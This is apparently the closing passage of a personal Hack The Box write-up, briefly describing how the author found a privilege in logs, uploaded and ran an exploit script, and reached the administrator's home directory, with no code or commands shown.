After a log search i found that we maybe have pivilage that would allow us to access anywhere in the system.

And i tried to use this script inorder to exploit it.

I upload the file into the machine and executed it.

So after that i tried to access the administartor home.

Ending.

PreviousChemistry (HTB)

Last updated 5 months ago